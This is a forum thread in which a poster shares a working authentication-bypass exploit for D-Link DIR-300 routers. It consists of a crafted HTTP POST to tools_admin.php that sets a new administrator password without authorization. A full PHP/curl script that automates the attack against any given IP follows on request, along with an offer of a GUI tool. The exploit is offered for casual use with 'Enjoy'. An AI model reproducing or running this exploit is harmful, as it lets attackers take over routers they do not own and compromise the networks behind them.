Change D-Link DIR-300 (and others) routers password

[Google]

Control panel script - tools_admin.php allows attacker to change
administrator name, password and other variables without any
authorization by sending specially crafted http post request such as:

---cut here---
POST http://192.168.1.1:80/tools_admin.php HTTP/1.1
Host: 192.168.1.2
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded
Content-length: 0

ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&logi n=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name= admin&admin_password1=uhOHahEh
---cut here---

Enjoy

[gachkar]

hey thanks for the post !
byut how to use it ? where to save it ? to what extension ?

[Google]

Originally Posted by gachkar

hey thanks for the post !
byut how to use it ? where to save it ? to what extension ?

That was the HTTP POST request. You can send it using any language like PHP, PERL, PYTHON... That's the PHP code:

<?php
if(sizeof($argv)!=4) {
   echo "Usage: php5 $argv[0] <router ip addres> <port>
   <admin password>\n";
   exit;
}
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, "http://".$argv[1]."/tools_admin.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PORT, $argv[2]);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,
CURLOPT_POSTFIELDS,"ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=".urlencode($argv[3]));
echo "+ starting request\n";
$out = curl_exec($ch);
if($out===false) {
   echo "- Error: could not connect (
   http://$argv[1]:$argv[2]/tools_admin.php).\n";
   exit;
} else
echo "+ request sended\n";
curl_close($ch);
if(stripos($out,"login.php")===true) {
   echo "- something goes wrong (check answer - answer.html) !\n";
   $f=fopen("answer.html","w"); fwrite($f,$out); fclose($f);
   exit;
}
else
   echo "+ ok, now you can login using l: admin p:$argv[3]\n";
?>

If you want, I will make an GUI executable file and post it here later.

[yaleil]

can you do that please?

[Google]

Originally Posted by yaleil

can you do that please?

Here it is. But don't pwn yourself